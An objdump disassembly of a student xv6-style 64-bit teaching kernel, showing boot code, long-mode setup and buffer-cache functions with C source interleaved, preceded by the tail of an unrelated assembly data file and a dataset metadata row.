DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
;--------
DB 0C0H
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 07FH
DB 07FH
;--------
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;--------
DB 0FFH
DB 0FFH
;F (ORANGE)
DB 00H
DB 00H
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;--------
DB 00H
DB 00H
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
;--------
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 06FH
DB 06FH
DB 06FH
DB 06FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 06FH
DB 06FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;---------
DB 07FH
DB 07FH
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
DB 07FH
DB 07FH
;DUMMY (7COLS)
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
DB 0FFH
;--------
BREAKLOOP:
S ENDS
END START | 7.305776 | 42 | 0.545032 |
777d03920527728168da079ead592e0b1c6a6071 | 927,029 | asm | Assembly | kernel.asm | dylsugar/cs461_hw5 | c5e1af487c457380dc6d006f2ba3fbde843efe6b | [
"MIT-0"
] | null | null | null | kernel.asm | dylsugar/cs461_hw5 | c5e1af487c457380dc6d006f2ba3fbde843efe6b | [
"MIT-0"
] | null | null | null | kernel.asm | dylsugar/cs461_hw5 | c5e1af487c457380dc6d006f2ba3fbde843efe6b | [
"MIT-0"
] | null | null | null |
kernel: file format elf64-x86-64
Disassembly of section .text:
ffff800000100000 <begin>:
ffff800000100000: 02 b0 ad 1b 00 00 add 0x1bad(%rax),%dh
ffff800000100006: 01 00 add %eax,(%rax)
ffff800000100008: fe 4f 51 decb 0x51(%rdi)
ffff80000010000b: e4 00 in $0x0,%al
ffff80000010000d: 00 10 add %dl,(%rax)
ffff80000010000f: 00 00 add %al,(%rax)
ffff800000100011: 00 10 add %dl,(%rax)
ffff800000100013: 00 00 add %al,(%rax)
ffff800000100015: e0 10 loopne ffff800000100027 <mboot_entry+0x7>
ffff800000100017: 00 00 add %al,(%rax)
ffff800000100019: b0 1f mov $0x1f,%al
ffff80000010001b: 00 20 add %ah,(%rax)
ffff80000010001d: 00 10 add %dl,(%rax)
...
ffff800000100020 <mboot_entry>:
.long mboot_entry_addr
.code32
mboot_entry:
# zero 2 pages for our bootstrap page tables
xor %eax, %eax # value=0
ffff800000100020: 31 c0 xor %eax,%eax
mov $0x1000, %edi # starting at 4096
ffff800000100022: bf 00 10 00 00 mov $0x1000,%edi
mov $0x2000, %ecx # size=8192
ffff800000100027: b9 00 20 00 00 mov $0x2000,%ecx
rep stosb # memset(4096, 0, 8192)
ffff80000010002c: f3 aa rep stos %al,%es:(%rdi)
# map both virtual address 0 and KERNBASE to the same PDPT
# PML4T[0] -> 0x2000 (PDPT)
# PML4T[256] -> 0x2000 (PDPT)
mov $(0x2000 | PTE_P | PTE_W), %eax
ffff80000010002e: b8 03 20 00 00 mov $0x2003,%eax
mov %eax, 0x1000 # PML4T[0]
ffff800000100033: a3 00 10 00 00 a3 00 movabs %eax,0x1800a300001000
ffff80000010003a: 18 00
mov %eax, 0x1800 # PML4T[512]
ffff80000010003c: 00 b8 83 00 00 00 add %bh,0x83(%rax)
# PDPT[0] -> 0x0 (1 GB flat map page)
mov $(0x0 | PTE_P | PTE_PS | PTE_W), %eax
mov %eax, 0x2000 # PDPT[0]
ffff800000100042: a3 .byte 0xa3
ffff800000100043: 00 20 add %ah,(%rax)
ffff800000100045: 00 00 add %al,(%rax)
# Clear ebx for initial processor boot.
# When secondary processors boot, they'll call through
# entry32mp (from entryother), but with a nonzero ebx.
# We'll reuse these bootstrap pagetables and GDT.
xor %ebx, %ebx
ffff800000100047: 31 db xor %ebx,%ebx
ffff800000100049 <entry32mp>:
.global entry32mp
entry32mp:
# CR3 -> 0x1000 (PML4T)
mov $0x1000, %eax
ffff800000100049: b8 00 10 00 00 mov $0x1000,%eax
mov %eax, %cr3
ffff80000010004e: 0f 22 d8 mov %rax,%cr3
lgdt (gdtr64 - mboot_header + mboot_load_addr)
ffff800000100051: 0f 01 15 90 00 10 00 lgdt 0x100090(%rip) # ffff8000002000e8 <end+0x50e8>
# PAE is required for 64-bit paging: CR4.PAE=1
mov %cr4, %eax
ffff800000100058: 0f 20 e0 mov %cr4,%rax
bts $5, %eax
ffff80000010005b: 0f ba e8 05 bts $0x5,%eax
mov %eax, %cr4
ffff80000010005f: 0f 22 e0 mov %rax,%cr4
# access EFER Model specific register
mov $MSR_EFER, %ecx
ffff800000100062: b9 80 00 00 c0 mov $0xc0000080,%ecx
rdmsr
ffff800000100067: 0f 32 rdmsr
bts $0, %eax #enable system call extentions
ffff800000100069: 0f ba e8 00 bts $0x0,%eax
bts $8, %eax #enable long mode
ffff80000010006d: 0f ba e8 08 bts $0x8,%eax
wrmsr
ffff800000100071: 0f 30 wrmsr
# enable paging
mov %cr0, %eax
ffff800000100073: 0f 20 c0 mov %cr0,%rax
orl $(CR0_PG | CR0_WP | CR0_MP), %eax
ffff800000100076: 0d 02 00 01 80 or $0x80010002,%eax
mov %eax, %cr0
ffff80000010007b: 0f 22 c0 mov %rax,%cr0
# shift to 64bit segment
ljmp $8, $(entry64low - mboot_header + mboot_load_addr)
ffff80000010007e: ea (bad)
ffff80000010007f: c0 00 10 rolb $0x10,(%rax)
ffff800000100082: 00 08 add %cl,(%rax)
ffff800000100084: 00 66 66 add %ah,0x66(%rsi)
ffff800000100087: 2e 0f 1f 84 00 00 00 nopl %cs:0x0(%rax,%rax,1)
ffff80000010008e: 00 00
ffff800000100090 <gdtr64>:
ffff800000100090: 17 (bad)
ffff800000100091: 00 a0 00 10 00 00 add %ah,0x1000(%rax)
ffff800000100097: 00 00 add %al,(%rax)
ffff800000100099: 00 66 0f add %ah,0xf(%rsi)
ffff80000010009c: 1f (bad)
ffff80000010009d: 44 00 00 add %r8b,(%rax)
ffff8000001000a0 <gdt64_begin>:
...
ffff8000001000ac: 00 98 20 00 00 00 add %bl,0x20(%rax)
ffff8000001000b2: 00 00 add %al,(%rax)
ffff8000001000b4: 00 .byte 0x0
ffff8000001000b5: 90 nop
...
ffff8000001000b8 <gdt64_end>:
ffff8000001000b8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1)
ffff8000001000bf: 00
ffff8000001000c0 <entry64low>:
gdt64_end:
.align 16
.code64
entry64low:
movabs $entry64high, %rax
ffff8000001000c0: 48 b8 cc 00 10 00 00 movabs $0xffff8000001000cc,%rax
ffff8000001000c7: 80 ff ff
jmp *%rax
ffff8000001000ca: ff e0 jmpq *%rax
ffff8000001000cc <_start>:
.global _start
_start:
entry64high:
# ensure data segment registers are sane
xor %rax, %rax
ffff8000001000cc: 48 31 c0 xor %rax,%rax
mov %ax, %ss
ffff8000001000cf: 8e d0 mov %eax,%ss
mov %ax, %ds
ffff8000001000d1: 8e d8 mov %eax,%ds
mov %ax, %es
ffff8000001000d3: 8e c0 mov %eax,%es
mov %ax, %fs
ffff8000001000d5: 8e e0 mov %eax,%fs
mov %ax, %gs
ffff8000001000d7: 8e e8 mov %eax,%gs
# mov %cr4, %rax
# or $(CR4_PAE | CR4_OSXFSR | CR4_OSXMMEXCPT) , %rax
# mov %rax, %cr4
# check to see if we're booting a secondary core
test %ebx, %ebx
ffff8000001000d9: 85 db test %ebx,%ebx
jnz entry64mp # jump if booting a secondary code
ffff8000001000db: 75 14 jne ffff8000001000f1 <entry64mp>
# setup initial stack
movabs $0xFFFF800000010000, %rax
ffff8000001000dd: 48 b8 00 00 01 00 00 movabs $0xffff800000010000,%rax
ffff8000001000e4: 80 ff ff
mov %rax, %rsp
ffff8000001000e7: 48 89 c4 mov %rax,%rsp
# enter main()
jmp main # end of initial (the first) core ASM
ffff8000001000ea: e9 d7 56 00 00 jmpq ffff8000001057c6 <main>
ffff8000001000ef <__deadloop>:
.global __deadloop
__deadloop:
# we should never return here...
jmp .
ffff8000001000ef: eb fe jmp ffff8000001000ef <__deadloop>
ffff8000001000f1 <entry64mp>:
entry64mp:
# obtain kstack from data block before entryother
mov $0x7000, %rax
ffff8000001000f1: 48 c7 c0 00 70 00 00 mov $0x7000,%rax
mov -16(%rax), %rsp
ffff8000001000f8: 48 8b 60 f0 mov -0x10(%rax),%rsp
jmp mpenter # end of secondary code ASM
ffff8000001000fc: e9 f6 57 00 00 jmpq ffff8000001058f7 <mpenter>
ffff800000100101 <wrmsr>:
.global wrmsr
wrmsr:
mov %rdi, %rcx # arg0 -> msrnum
ffff800000100101: 48 89 f9 mov %rdi,%rcx
mov %rsi, %rax # val.low -> eax
ffff800000100104: 48 89 f0 mov %rsi,%rax
shr $32, %rsi
ffff800000100107: 48 c1 ee 20 shr $0x20,%rsi
mov %rsi, %rdx # val.high -> edx
ffff80000010010b: 48 89 f2 mov %rsi,%rdx
wrmsr
ffff80000010010e: 0f 30 wrmsr
retq
ffff800000100110: c3 retq
ffff800000100111 <ignore_sysret>:
.global ignore_sysret
ignore_sysret: #return error code 38, meaning function unimplemented
mov $-38, %rax
ffff800000100111: 48 c7 c0 da ff ff ff mov $0xffffffffffffffda,%rax
sysret
ffff800000100118: 0f 07 sysret
ffff80000010011a <binit>:
struct buf head;
} bcache;
void
binit(void)
{
ffff80000010011a: f3 0f 1e fa endbr64
ffff80000010011e: 55 push %rbp
ffff80000010011f: 48 89 e5 mov %rsp,%rbp
ffff800000100122: 48 83 ec 10 sub $0x10,%rsp
struct buf *b;
initlock(&bcache.lock, "bcache");
ffff800000100126: 48 be b8 c4 10 00 00 movabs $0xffff80000010c4b8,%rsi
ffff80000010012d: 80 ff ff
ffff800000100130: 48 bf 00 e0 10 00 00 movabs $0xffff80000010e000,%rdi
ffff800000100137: 80 ff ff
ffff80000010013a: 48 b8 24 78 10 00 00 movabs $0xffff800000107824,%rax
ffff800000100141: 80 ff ff
ffff800000100144: ff d0 callq *%rax
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
ffff800000100146: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff80000010014d: 80 ff ff
ffff800000100150: 48 b9 08 31 11 00 00 movabs $0xffff800000113108,%rcx
ffff800000100157: 80 ff ff
ffff80000010015a: 48 89 88 a0 51 00 00 mov %rcx,0x51a0(%rax)
bcache.head.next = &bcache.head;
ffff800000100161: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff800000100168: 80 ff ff
ffff80000010016b: 48 89 88 a8 51 00 00 mov %rcx,0x51a8(%rax)
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
ffff800000100172: 48 b8 68 e0 10 00 00 movabs $0xffff80000010e068,%rax
ffff800000100179: 80 ff ff
ffff80000010017c: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000100180: e9 8b 00 00 00 jmpq ffff800000100210 <binit+0xf6>
b->next = bcache.head.next;
ffff800000100185: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff80000010018c: 80 ff ff
ffff80000010018f: 48 8b 90 a8 51 00 00 mov 0x51a8(%rax),%rdx
ffff800000100196: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010019a: 48 89 90 a0 00 00 00 mov %rdx,0xa0(%rax)
b->prev = &bcache.head;
ffff8000001001a1: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001001a5: 48 be 08 31 11 00 00 movabs $0xffff800000113108,%rsi
ffff8000001001ac: 80 ff ff
ffff8000001001af: 48 89 b0 98 00 00 00 mov %rsi,0x98(%rax)
initsleeplock(&b->lock, "buffer");
ffff8000001001b6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001001ba: 48 83 c0 10 add $0x10,%rax
ffff8000001001be: 48 be bf c4 10 00 00 movabs $0xffff80000010c4bf,%rsi
ffff8000001001c5: 80 ff ff
ffff8000001001c8: 48 89 c7 mov %rax,%rdi
ffff8000001001cb: 48 b8 31 76 10 00 00 movabs $0xffff800000107631,%rax
ffff8000001001d2: 80 ff ff
ffff8000001001d5: ff d0 callq *%rax
bcache.head.next->prev = b;
ffff8000001001d7: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff8000001001de: 80 ff ff
ffff8000001001e1: 48 8b 80 a8 51 00 00 mov 0x51a8(%rax),%rax
ffff8000001001e8: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff8000001001ec: 48 89 90 98 00 00 00 mov %rdx,0x98(%rax)
bcache.head.next = b;
ffff8000001001f3: 48 ba 00 e0 10 00 00 movabs $0xffff80000010e000,%rdx
ffff8000001001fa: 80 ff ff
ffff8000001001fd: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100201: 48 89 82 a8 51 00 00 mov %rax,0x51a8(%rdx)
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
ffff800000100208: 48 81 45 f8 b0 02 00 addq $0x2b0,-0x8(%rbp)
ffff80000010020f: 00
ffff800000100210: 48 b8 08 31 11 00 00 movabs $0xffff800000113108,%rax
ffff800000100217: 80 ff ff
ffff80000010021a: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff80000010021e: 0f 82 61 ff ff ff jb ffff800000100185 <binit+0x6b>
}
}
ffff800000100224: 90 nop
ffff800000100225: 90 nop
ffff800000100226: c9 leaveq
ffff800000100227: c3 retq
ffff800000100228 <bget>:
// Look through buffer cache for block on device dev.
// If not found, allocate a buffer.
// In either case, return locked buffer.
static struct buf*
bget(uint dev, uint blockno)
{
ffff800000100228: f3 0f 1e fa endbr64
ffff80000010022c: 55 push %rbp
ffff80000010022d: 48 89 e5 mov %rsp,%rbp
ffff800000100230: 48 83 ec 20 sub $0x20,%rsp
ffff800000100234: 89 7d ec mov %edi,-0x14(%rbp)
ffff800000100237: 89 75 e8 mov %esi,-0x18(%rbp)
struct buf *b;
acquire(&bcache.lock);
ffff80000010023a: 48 bf 00 e0 10 00 00 movabs $0xffff80000010e000,%rdi
ffff800000100241: 80 ff ff
ffff800000100244: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff80000010024b: 80 ff ff
ffff80000010024e: ff d0 callq *%rax
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
ffff800000100250: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff800000100257: 80 ff ff
ffff80000010025a: 48 8b 80 a8 51 00 00 mov 0x51a8(%rax),%rax
ffff800000100261: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000100265: eb 74 jmp ffff8000001002db <bget+0xb3>
if(b->dev == dev && b->blockno == blockno){
ffff800000100267: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010026b: 8b 40 04 mov 0x4(%rax),%eax
ffff80000010026e: 39 45 ec cmp %eax,-0x14(%rbp)
ffff800000100271: 75 59 jne ffff8000001002cc <bget+0xa4>
ffff800000100273: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100277: 8b 40 08 mov 0x8(%rax),%eax
ffff80000010027a: 39 45 e8 cmp %eax,-0x18(%rbp)
ffff80000010027d: 75 4d jne ffff8000001002cc <bget+0xa4>
b->refcnt++;
ffff80000010027f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100283: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff800000100289: 8d 50 01 lea 0x1(%rax),%edx
ffff80000010028c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100290: 89 90 90 00 00 00 mov %edx,0x90(%rax)
release(&bcache.lock);
ffff800000100296: 48 bf 00 e0 10 00 00 movabs $0xffff80000010e000,%rdi
ffff80000010029d: 80 ff ff
ffff8000001002a0: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff8000001002a7: 80 ff ff
ffff8000001002aa: ff d0 callq *%rax
acquiresleep(&b->lock);
ffff8000001002ac: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001002b0: 48 83 c0 10 add $0x10,%rax
ffff8000001002b4: 48 89 c7 mov %rax,%rdi
ffff8000001002b7: 48 b8 8a 76 10 00 00 movabs $0xffff80000010768a,%rax
ffff8000001002be: 80 ff ff
ffff8000001002c1: ff d0 callq *%rax
return b;
ffff8000001002c3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001002c7: e9 f0 00 00 00 jmpq ffff8000001003bc <bget+0x194>
for(b = bcache.head.next; b != &bcache.head; b = b->next){
ffff8000001002cc: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001002d0: 48 8b 80 a0 00 00 00 mov 0xa0(%rax),%rax
ffff8000001002d7: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff8000001002db: 48 b8 08 31 11 00 00 movabs $0xffff800000113108,%rax
ffff8000001002e2: 80 ff ff
ffff8000001002e5: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff8000001002e9: 0f 85 78 ff ff ff jne ffff800000100267 <bget+0x3f>
}
// Not cached; recycle some unused buffer and clean buffer
// "clean" because B_DIRTY and not locked means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
ffff8000001002ef: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
ffff8000001002f6: 80 ff ff
ffff8000001002f9: 48 8b 80 a0 51 00 00 mov 0x51a0(%rax),%rax
ffff800000100300: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000100304: e9 89 00 00 00 jmpq ffff800000100392 <bget+0x16a>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
ffff800000100309: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010030d: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff800000100313: 85 c0 test %eax,%eax
ffff800000100315: 75 6c jne ffff800000100383 <bget+0x15b>
ffff800000100317: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010031b: 8b 00 mov (%rax),%eax
ffff80000010031d: 83 e0 04 and $0x4,%eax
ffff800000100320: 85 c0 test %eax,%eax
ffff800000100322: 75 5f jne ffff800000100383 <bget+0x15b>
b->dev = dev;
ffff800000100324: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100328: 8b 55 ec mov -0x14(%rbp),%edx
ffff80000010032b: 89 50 04 mov %edx,0x4(%rax)
b->blockno = blockno;
ffff80000010032e: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100332: 8b 55 e8 mov -0x18(%rbp),%edx
ffff800000100335: 89 50 08 mov %edx,0x8(%rax)
b->flags = 0;
ffff800000100338: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010033c: c7 00 00 00 00 00 movl $0x0,(%rax)
b->refcnt = 1;
ffff800000100342: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100346: c7 80 90 00 00 00 01 movl $0x1,0x90(%rax)
ffff80000010034d: 00 00 00
release(&bcache.lock);
ffff800000100350: 48 bf 00 e0 10 00 00 movabs $0xffff80000010e000,%rdi
ffff800000100357: 80 ff ff
ffff80000010035a: 48 b8 fa 78 10 00 00 movabs $0xffff8000001078fa,%rax
ffff800000100361: 80 ff ff
ffff800000100364: ff d0 callq *%rax
acquiresleep(&b->lock);
ffff800000100366: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010036a: 48 83 c0 10 add $0x10,%rax
ffff80000010036e: 48 89 c7 mov %rax,%rdi
ffff800000100371: 48 b8 8a 76 10 00 00 movabs $0xffff80000010768a,%rax
ffff800000100378: 80 ff ff
ffff80000010037b: ff d0 callq *%rax
return b;
ffff80000010037d: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100381: eb 39 jmp ffff8000001003bc <bget+0x194>
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
ffff800000100383: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100387: 48 8b 80 98 00 00 00 mov 0x98(%rax),%rax
ffff80000010038e: 48 89 45 f8 mov %rax,-0x8(%rbp)
ffff800000100392: 48 b8 08 31 11 00 00 movabs $0xffff800000113108,%rax
ffff800000100399: 80 ff ff
ffff80000010039c: 48 39 45 f8 cmp %rax,-0x8(%rbp)
ffff8000001003a0: 0f 85 63 ff ff ff jne ffff800000100309 <bget+0xe1>
}
}
panic("bget: no buffers");
ffff8000001003a6: 48 bf c6 c4 10 00 00 movabs $0xffff80000010c4c6,%rdi
ffff8000001003ad: 80 ff ff
ffff8000001003b0: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001003b7: 80 ff ff
ffff8000001003ba: ff d0 callq *%rax
}
ffff8000001003bc: c9 leaveq
ffff8000001003bd: c3 retq
ffff8000001003be <bread>:
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
ffff8000001003be: f3 0f 1e fa endbr64
ffff8000001003c2: 55 push %rbp
ffff8000001003c3: 48 89 e5 mov %rsp,%rbp
ffff8000001003c6: 48 83 ec 20 sub $0x20,%rsp
ffff8000001003ca: 89 7d ec mov %edi,-0x14(%rbp)
ffff8000001003cd: 89 75 e8 mov %esi,-0x18(%rbp)
struct buf *b;
b = bget(dev, blockno);
ffff8000001003d0: 8b 55 e8 mov -0x18(%rbp),%edx
ffff8000001003d3: 8b 45 ec mov -0x14(%rbp),%eax
ffff8000001003d6: 89 d6 mov %edx,%esi
ffff8000001003d8: 89 c7 mov %eax,%edi
ffff8000001003da: 48 b8 28 02 10 00 00 movabs $0xffff800000100228,%rax
ffff8000001003e1: 80 ff ff
ffff8000001003e4: ff d0 callq *%rax
ffff8000001003e6: 48 89 45 f8 mov %rax,-0x8(%rbp)
if(!(b->flags & B_VALID)) {
ffff8000001003ea: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001003ee: 8b 00 mov (%rax),%eax
ffff8000001003f0: 83 e0 02 and $0x2,%eax
ffff8000001003f3: 85 c0 test %eax,%eax
ffff8000001003f5: 75 13 jne ffff80000010040a <bread+0x4c>
iderw(b);
ffff8000001003f7: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001003fb: 48 89 c7 mov %rax,%rdi
ffff8000001003fe: 48 b8 37 3d 10 00 00 movabs $0xffff800000103d37,%rax
ffff800000100405: 80 ff ff
ffff800000100408: ff d0 callq *%rax
}
return b;
ffff80000010040a: 48 8b 45 f8 mov -0x8(%rbp),%rax
}
ffff80000010040e: c9 leaveq
ffff80000010040f: c3 retq
ffff800000100410 <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
ffff800000100410: f3 0f 1e fa endbr64
ffff800000100414: 55 push %rbp
ffff800000100415: 48 89 e5 mov %rsp,%rbp
ffff800000100418: 48 83 ec 10 sub $0x10,%rsp
ffff80000010041c: 48 89 7d f8 mov %rdi,-0x8(%rbp)
if(!holdingsleep(&b->lock))
ffff800000100420: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100424: 48 83 c0 10 add $0x10,%rax
ffff800000100428: 48 89 c7 mov %rax,%rdi
ffff80000010042b: 48 b8 7d 77 10 00 00 movabs $0xffff80000010777d,%rax
ffff800000100432: 80 ff ff
ffff800000100435: ff d0 callq *%rax
ffff800000100437: 85 c0 test %eax,%eax
ffff800000100439: 75 16 jne ffff800000100451 <bwrite+0x41>
panic("bwrite");
ffff80000010043b: 48 bf d7 c4 10 00 00 movabs $0xffff80000010c4d7,%rdi
ffff800000100442: 80 ff ff
ffff800000100445: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff80000010044c: 80 ff ff
ffff80000010044f: ff d0 callq *%rax
b->flags |= B_DIRTY;
ffff800000100451: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100455: 8b 00 mov (%rax),%eax
ffff800000100457: 83 c8 04 or $0x4,%eax
ffff80000010045a: 89 c2 mov %eax,%edx
ffff80000010045c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100460: 89 10 mov %edx,(%rax)
iderw(b);
ffff800000100462: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100466: 48 89 c7 mov %rax,%rdi
ffff800000100469: 48 b8 37 3d 10 00 00 movabs $0xffff800000103d37,%rax
ffff800000100470: 80 ff ff
ffff800000100473: ff d0 callq *%rax
}
ffff800000100475: 90 nop
ffff800000100476: c9 leaveq
ffff800000100477: c3 retq
ffff800000100478 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
ffff800000100478: f3 0f 1e fa endbr64
ffff80000010047c: 55 push %rbp
ffff80000010047d: 48 89 e5 mov %rsp,%rbp
ffff800000100480: 48 83 ec 10 sub $0x10,%rsp
ffff800000100484: 48 89 7d f8 mov %rdi,-0x8(%rbp)
if(!holdingsleep(&b->lock))
ffff800000100488: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff80000010048c: 48 83 c0 10 add $0x10,%rax
ffff800000100490: 48 89 c7 mov %rax,%rdi
ffff800000100493: 48 b8 7d 77 10 00 00 movabs $0xffff80000010777d,%rax
ffff80000010049a: 80 ff ff
ffff80000010049d: ff d0 callq *%rax
ffff80000010049f: 85 c0 test %eax,%eax
ffff8000001004a1: 75 16 jne ffff8000001004b9 <brelse+0x41>
panic("brelse");
ffff8000001004a3: 48 bf de c4 10 00 00 movabs $0xffff80000010c4de,%rdi
ffff8000001004aa: 80 ff ff
ffff8000001004ad: 48 b8 f9 0b 10 00 00 movabs $0xffff800000100bf9,%rax
ffff8000001004b4: 80 ff ff
ffff8000001004b7: ff d0 callq *%rax
releasesleep(&b->lock);
ffff8000001004b9: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001004bd: 48 83 c0 10 add $0x10,%rax
ffff8000001004c1: 48 89 c7 mov %rax,%rdi
ffff8000001004c4: 48 b8 14 77 10 00 00 movabs $0xffff800000107714,%rax
ffff8000001004cb: 80 ff ff
ffff8000001004ce: ff d0 callq *%rax
acquire(&bcache.lock);
ffff8000001004d0: 48 bf 00 e0 10 00 00 movabs $0xffff80000010e000,%rdi
ffff8000001004d7: 80 ff ff
ffff8000001004da: 48 b8 5d 78 10 00 00 movabs $0xffff80000010785d,%rax
ffff8000001004e1: 80 ff ff
ffff8000001004e4: ff d0 callq *%rax
b->refcnt--;
ffff8000001004e6: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001004ea: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff8000001004f0: 8d 50 ff lea -0x1(%rax),%edx
ffff8000001004f3: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff8000001004f7: 89 90 90 00 00 00 mov %edx,0x90(%rax)
if (b->refcnt == 0) {
ffff8000001004fd: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100501: 8b 80 90 00 00 00 mov 0x90(%rax),%eax
ffff800000100507: 85 c0 test %eax,%eax
ffff800000100509: 0f 85 9c 00 00 00 jne ffff8000001005ab <brelse+0x133>
// no one is waiting for it.
b->next->prev = b->prev;
ffff80000010050f: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100513: 48 8b 80 a0 00 00 00 mov 0xa0(%rax),%rax
ffff80000010051a: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010051e: 48 8b 92 98 00 00 00 mov 0x98(%rdx),%rdx
ffff800000100525: 48 89 90 98 00 00 00 mov %rdx,0x98(%rax)
b->prev->next = b->next;
ffff80000010052c: 48 8b 45 f8 mov -0x8(%rbp),%rax
ffff800000100530: 48 8b 80 98 00 00 00 mov 0x98(%rax),%rax
ffff800000100537: 48 8b 55 f8 mov -0x8(%rbp),%rdx
ffff80000010053b: 48 8b 92 a0 00 00 00 mov 0xa0(%rdx),%rdx
ffff800000100542: 48 89 90 a0 00 00 00 mov %rdx,0xa0(%rax)
b->next = bcache.head.next;
ffff800000100549: 48 b8 00 e0 10 00 00 movabs $0xffff80000010e000,%rax
